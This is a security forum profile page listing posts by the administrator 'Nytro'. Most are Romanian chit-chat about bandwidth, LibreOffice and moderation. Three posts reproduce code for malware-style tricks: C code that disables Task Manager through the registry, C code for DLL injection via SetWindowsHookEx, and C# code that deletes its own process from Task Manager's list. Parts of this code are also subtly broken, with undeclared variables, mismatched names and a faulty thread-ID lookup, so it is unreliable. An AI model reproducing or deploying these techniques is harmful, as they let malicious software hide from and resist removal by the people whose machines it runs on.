Jump to content

Nytro

Administrators
  • Posts

    18785
  • Joined

  • Last visited

  • Days Won

    738

Everything posted by Nytro

  1. [C] Disable Task Manager #include <windows.h> int main() { DWORD dwVal = 1; HKEY hKey; RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\", 0, KEY_ALL_ACCESS, &hKey); RegSetValueEx (hKey, "DisableTaskmgr", 0, REG_DWORD, (LPBYTE)&dwVal , sizeof(DWORD)); RegCloseKey(hKey); return 0; } Sursa: Disable Task Manager - r00tsecurity
  2. 700 Mbps = 700 / 8 MBps = 87.5 MBps. Insa nu cred ca se pot atinge asemenea viteze de pe un calculator simplu. Poate cu cine stie ce procesor, iar datele de se trimit sa nu fie citite de pe hard-disk. In RAM, in C, viteza de scriere (memset) era de de aproximativ 15 MBps, si 50 MPps la citire, desigur, asta tine de procesor. Deci sunt multe limitari, nu numai mediul de transmisie e important. Asta daca nu va referiti strict la transfer, asa da, cred ca se poate fara prea mari probleme, fibra optica rullz. Ca viteza, stiu ca facusera niste teste cu un satelit Alcatel si ajunsesera la 5 GBps, dar nu ai cum sa scrii atatea date intr-o secunda pe un hard-disk de exemplu. Dar da, se pot atinge 2000 GBps daca faceti suma la date trimise de la mai multe calculatoare... Oricum nu mi se pare prea amuzant, din moment ce am vazut sute de cazuri mai "naspa" decat acesta.
  3. LibreOffice, alternativa gratis pentru Microsoft Office Cum s-a format LibreOffice: La data de 28 septembrie 2010, unii membri al proiectului OpenOffice.org au format un nou grup numit The Document Foundation, ?i au pus la dispozi?ie o noua versiune de OpenOffice.org, care s-a bazat pe versiunea OpenOffice.org 3.3 beta. Acest grup s-a format dupa ce compania Oracle a cumparat Sun Microsystems (fostul sponsor si fondator al OpenOffice.org), acestia urmând sa nu mai distribuie in format OpenSource, suita de aplicatii OpenOffice. The Document Foundation le-a propus celor de la Oracle sa doneze proiectul OpenOffice.org. Dupa ce acestia au refuzat sa doneze proiectul, la sfarsitul lui Octombrie 2010, 33 dintre developerii suitei OpenOffice s-au la The Document Foundation, pentru a sprijini LibreOffice. Ce este LibreOffice: LibreOffice este o suita de applicatii office, care este compatibila cu alte suite majore de birou (Microsoft Office), ?i disponibile pe o varietate de platforme. Scopul este de a produce un set de de aplicatii de birou compatibil cu cel distribuit de cei de la Microsoft, cu sprijinul ODF disponibile pentru toata lumea gratis. Ca software liber, utilizatorii sunt liber sa descarce, modifice, utiliza ?i distribui LibreOffice. Bla bla... Continuarea si sursa: http://www.rogeek.net/2011/01/libreoffice-alternativa-gratis-pentru.html Link oficial: http://www.libreoffice.org/
  4. Nytro

    Salut

    Cat de rau si de violent este acest baiat. Ar trebui sa aveti grija. Poate vine cu tasu sa va bata.
  5. Nytro

    Salut

    Ar trebui sa se simta cineva jignit? Nu esti primul fan, nici ultimul. Esti doar un alt "nimeni"
  6. Eu as fi de acord cu pagina de Facebook pentru postarea noutatilor, lucruri legate de RST. Nu sa transformam Facebook in chat.
  7. nightkhaos, te rog, abtine-te de la aberatii si ia o foaie si un pix si fa cateva calcule matematice.
  8. E foarte important sa ai o functie pe RST. Nici nu stii cat de bine merge: "Ce faci papuso? Aici Nytro, administrator RST!" E asul meu din maneca. Pica direct in genunchi in fata mea cand aud asta. :->
  9. Am intrat prea tarziu, dar pot da un ban.
  10. RST e iadul, locul unde toti devin mai rai. Dar nu e nimic rau in asta.
  11. Interesant. Ban.
  12. Da, interesant: "Cum sa folosesti un exploit". Intrebarea mea e simpla: Ce fac daca un site nu are DNN? Sau, de ce m-ar interesa sa "sparg" un site, doar pentru ca are DNN?
  13. Posturile astea sunt salvate in aer, nu intr-un calculator care are desigur unul sau mai multe IP-uri. Voi aveti acces la Internet cu ajutorul lui Dumnezeu, nu datorita faptului ca PC-ul vostru e conectat la Internet printr-un IP (extern) unic. Etc. Ontopic: Sunt sigur ca nu se va intampla acest lucru. Cel putin nu in 10 zile. Probabil pe la mijlocul anului sau chiar mai tarziu va interveni aceasta criza.
  14. Parerea mea temporara, dintre: virusz, Fitty, Flubber, ZeroCold si Synthesis.
  15. Nu conteaza numarul de posturi ci calitatea acestora. Conteaza de asemenea si numarul de avertismente primite.
  16. Nu se gaseste. Il are doar The Jester, cel care l-a creat. Si sper sa nu fie facut public niciodata. Daca va fi facut, va fi functional doar cateva zile probabil.
  17. Foarte tare. Ban.
  18. Da, urat. Trebuie sa va faceti cont. Si e si mai urat pentru ca e in italiana.
  19. Posturile astea inutile le incadrez la Offtopic sau diverse alte abateri de la regulamet si pentru astfel de posturi se primesc avertismente. Si la 3 avertismente apare banul. Cred ca e mult mai bine asa.
  20. Dragut, nu stiam asta, Backspace-ul meu iti multumeste
  21. ///////////////////////////////////////////////////////////////// // R00TSECURITY.ORG - YOUR SECURITY COMMUNITY // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - // [2009-10-03] Dll Injection Using SetWindowsHookEx() // r00tsecurity -> Source Code Center :: Dll Injection Using SetWindowsHookEx() // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - // GENERATED ON: 2011-01-13 | 17:34:45 ///////////////////////////////////////////////////////////////// CODE INFO The SetWindowsHookEx method The SetWindowsHookEx method is a little bit more intrusive than the first, and creates more of a commotion in the injected process, which we normally don\'t want. However, it is a little bit easier to use than the first, and does have it\'s own advantages (like being able to inject into every process on the system in one shot). The SetWindowsHookEx() function is designed to allow you to \"hook\" windows messages for a given thread. This requires that you inject a dll into that process\'s address space, so SetWindowsHookEx() handles all that for us. The dll must have a function for the hook that it created though, otherwise it will crash. SOURCE CODE #define PROC_NAME \"target.exe\" #define DLL_NAME \"injected.dll\" void LoadDll(char *procName, char *dllName); unsigned long GetTargetThreadIdFromProcname(char *procName); int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow) { LoadDll(PROC_NAME, DLL_NAME); return 0; } void LoadDll(char *procName, char *dllName) { HMODULE hDll; unsigned long cbtProcAddr; hDll = LoadLibrary(dllName); cbtProcAddr = GetProcAddress(hDll, \"CBTProc\"); SetWindowsHookEx(WH_CBT, cbtProcAddr, hDll, GetTargetThreadIdFromProcName(procName)); return TRUE; } unsigned long GetTargetThreadIdFromProcname(char *procName) { PROCESSENTRY32 pe; HANDLE thSnapshot, hProcess; BOOL retval, ProcFound = false; unsigned long pTID, threadID; thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(thSnapshot == INVALID_HANDLE_VALUE) { MessageBox(NULL, \"Error: unable to create toolhelp snapshot\", \"Loader\", NULL); return false; } pe.dwSize = sizeof(PROCESSENTRY32); retval = Process32First(thSnapshot, &pe); while(retval) { if(StrStrI(pe.szExeFile, procName) ) { ProcFound = true; break; } retval = Process32Next(thSnapshot,&pe); pe.dwSize = sizeof(PROCESSENTRY32); } CloseHandle(thSnapshot); _asm { mov eax, fs:[0x18] add eax, 36 mov [pTID], eax } hProcess = OpenProcess(PROCESS_VM_READ, false, pe.th32ProcessID); ReadProcessMemory(hProcess, (const void *)pTID, &threadID, 4, NULL); CloseHandle(hProcess); return threadID; } // r00tsecurity -> Source Code Center :: Dll Injection Using SetWindowsHookEx()
  22. ///////////////////////////////////////////////////////////////// // R00TSECURITY.ORG - YOUR SECURITY COMMUNITY // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - // [2008-07-15] Hide from Taskmanager // r00tsecurity -> Source Code Center :: Hide from Taskmanager // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - // GENERATED ON: 2011-01-13 | 17:31:42 ///////////////////////////////////////////////////////////////// CODE INFO This code is based off a source in vb6 I saw once. I ported it to C# and it works perfectly (after a few adjustements SOURCE CODE :::=== WINAPI.CS ===::: using System; using System.Collections.Generic; using System.Text; using System.Runtime.InteropServices; namespace WinApi { class User32 { public const Int32 WM_COMMAND = 273; public const Int32 MF_ENABLED = 0; public const Int32 MF_GRAYED = 1; public const Int32 LVM_FIRST = 4096; public const Int32 LVM_DELETEITEM = (LVM_FIRST + 8); public const Int32 LVM_SORTITEMS = (LVM_FIRST + 48); [DllImport("user32", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] public static extern Int32 FindWindow(string lpClassName, string lpWindowName); [DllImport("user32", EntryPoint = "FindWindowExA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] public static extern Int32 FindWindowEx(Int32 hWnd1, Int32 hWnd2, string lpsz1, string lpsz2); [DllImport("user32", EntryPoint = "EnableWindow", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] public static extern bool EnableWindow(Int32 hwnd, Int32 fEnable); [DllImport("user32", EntryPoint = "GetMenu", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] public static extern Int32 GetMenu(Int32 hwnd); [DllImport("user32", EntryPoint = "GetSubMenu", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] public static extern Int32 GetSubMenu(Int32 hMenu, Int32 nPos); [DllImport("user32", EntryPoint = "GetMenuState", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] public static extern Int32 GetMenuState(Int32 hMenu, Int32 wID, Int32 wFlags); [DllImport("user32", EntryPoint = "GetMenuItemID", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] public static extern Int32 GetMenuItemID(Int32 hMenu, Int32 nPos); [DllImport("user32", EntryPoint = "EnableMenuItem", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] public static extern Int32 EnableMenuItem(Int32 hMenu, Int32 wIDEnableItem, Int32 wEnable); /*[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)] public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, StringBuilder lParam);*/ [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)] public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, String lParam); //Also can add 'ref' or 'out' ahead 'String lParam' // -- Do not use 'out String', use '[Out] StringBuilder' instead and initialize the string builder // with proper length first. Dunno why but that is the only thing that worked for me. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)] public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam); [DllImport("user32", EntryPoint = "GetDesktopWindow", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] public static extern Int32 GetDesktopWindow(); [DllImport("user32", EntryPoint = "LockWindowUpdate", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] public static extern Int32 LockWindowUpdate(Int32 hwndLock); } } :::=== FORM1.CS ===::: using WinApi; System.Timers.Timer taskmanTimer = new System.Timers.Timer(700); #region Hide from taskmanager //Begin remove proccess from taskman timer private void removeFromTaskManager() { taskmanTimer.Elapsed += new System.Timers.ElapsedEventHandler(taskmanTimer_Elapsed); taskmanTimer.Enabled = true; } //Timer to remove procces from taskmanager void taskmanTimer_Elapsed(object sender, System.Timers.ElapsedEventArgs e) { Int32 lhWndParent = User32.FindWindow(null, "Windows Task Manager"); /////Define Handles////// Int32 lhWndDialog = 0; Int32 lhWndEndTaskButton = 0; Int32 lhWndEndProcessButton = 0; Int32 lhWndProcessList = 0; Int32 lhWndProcessHeader = 0; Int32 lhWndTaskList = 0; Int32 lhWndTaskHeader = 0; Int32 ProcessItemCount = 0; Int32 ProcessItemIndex = 0; Int32 TaskItemCount = 0; Int32 TaskItemIndex = 0; /////Get Menues///// //Get main menu Int32 hMenu = User32.GetMenu(lhWndParent); //Get View menu Int32 hViewMenu = User32.GetSubMenu(hMenu,2); //Get Update Speed Menu Int32 hUpdateSpeed = User32.GetSubMenu(hViewMenu, 1); //Get Refresh Now Button Int32 hRefreshNow = User32.GetMenuItemID(hViewMenu, 0); //Get High Int32 hHighRate = User32.GetMenuItemID(hUpdateSpeed, 0); //Get Normal Int32 hNormalRate = User32.GetMenuItemID(hUpdateSpeed, 1); //Get Low Int32 hLowRate = User32.GetMenuItemID(hUpdateSpeed, 2); //Get Paused Int32 hPausedRate = User32.GetMenuItemID(hUpdateSpeed, 3); for (int i = 1; i < 7; i++) { lhWndDialog = User32.FindWindowEx(lhWndParent, lhWndDialog, null, null); if(lhWndTaskList == 0) lhWndTaskList = User32.FindWindowEx(lhWndDialog, 0, "SysListView32", "Tasks"); if(lhWndTaskHeader == 0) lhWndTaskHeader = User32.FindWindowEx(lhWndTaskList, 0, "SysHeader32", null); if(lhWndEndTaskButton == 0) lhWndEndTaskButton = User32.FindWindowEx(lhWndDialog, lhWndTaskList, "Button", "&End Task"); if(lhWndProcessList == 0) lhWndProcessList = User32.FindWindowEx(lhWndDialog, 0, "SysListView32", "Processes"); if(lhWndProcessHeader == 0) lhWndProcessHeader = User32.FindWindowEx(lhWndProcessList, 0, "SysHeader32", null); if(lhWndEndProcessButton == 0) lhWndEndProcessButton = User32.FindWindowEx(lhWndDialog, lhWndProcessList, "Button", "&End Process"); } //Pause the update speed User32.SendMessage((IntPtr)lhWndParent, User32.WM_COMMAND, (IntPtr)hPausedRate, IntPtr.Zero); //User32.SendMessage((IntPtr)lhWndParent,(uint)User32.WM_COMMAND,(IntPtr)hPausedRate, /////Disable Menu Items////// User32.EnableMenuItem(hMenu,hRefreshNow,User32.MF_GRAYED); User32.EnableMenuItem(hMenu,hLowRate,User32.MF_GRAYED); User32.EnableMenuItem(hMenu,hNormalRate,User32.MF_GRAYED); User32.EnableMenuItem(hMenu,hHighRate,User32.MF_GRAYED); User32.EnableMenuItem(hHighRate, hPausedRate, User32.MF_GRAYED); User32.EnableWindow(lhWndProcessHeader, 0); User32.EnableWindow(lhWndTaskHeader, 0); Process[] Processes; Int32 z; string item; ListBox list = new ListBox(); list.Sorted = true; Processes = Process.GetProcesses(); foreach (Process p in Processes) { if (p.ProcessName.ToString() == "Idle") list.Items.Add("System Idle Process"); else list.Items.Add(p.ProcessName.ToString()); } ProcessItemCount = Processes.Length; ProcessItemCount--; string HideMe = Process.GetCurrentProcess().ProcessName; for (int x = 0; x != ProcessItemCount; x++) { item = list.Items[x].ToString(); if (item == HideMe) proccessIndex = x; } User32.LockWindowUpdate(lhWndProcessList); //refresh User32.SendMessage((IntPtr)lhWndParent, User32.WM_COMMAND, (IntPtr)hRefreshNow, IntPtr.Zero); //sort items User32.SendMessage((IntPtr)lhWndProcessList, User32.LVM_SORTITEMS, IntPtr.Zero,null); //Delete ourselves from the list >=D User32.SendMessage((IntPtr)lhWndProcessList, User32.LVM_DELETEITEM, (IntPtr)proccessIndex, IntPtr.Zero); User32.LockWindowUpdate(0); if (lhWndParent == 0) //taskmanager is closed refrsh every 800 miliseconds taskmanTimer.Interval = 800; else //taskmanager is open and paused. we don't have to refresh as fast taskmanTimer.Interval = 2500; } #endregion removeFromTaskManager(); // r00tsecurity -> Source Code Center :: Hide from Taskmanager
  23. Am vazut si eu astea acum cateva zile, dar sunt obisnuit cu astfel de "persoane care se pricep la calculatoare", vedeam mult pe Hellshit. Cel putin, aici, la Offtopic-ul nostru cel de toate zilele nu isi etaleaza nimeni cunostintele incredibile in diverse domenii.
  24. Nu se va inchide. Nu va place sectiunea, nu o vizitati. Apar multe lucruri interesante acolo, desigur, de multe ori nu au legatura cu IT-ul, dar tot sunt interesante. Nu pot fi numai discutii tehnice, si nici nu prea sunt, macar mai discutam cate ceva pe acolo. Nu asa se va scapa de posturile stupide si inutile.
  25. Genul acela de tutoriale sunt pentru "Hacking in viata de zi cu zi" daca putem spune asta, si eu nu vad nimic rau in ele. Stai linistit, sunt destule tutoriale pe care le poti citi.
×
×
  • Create New...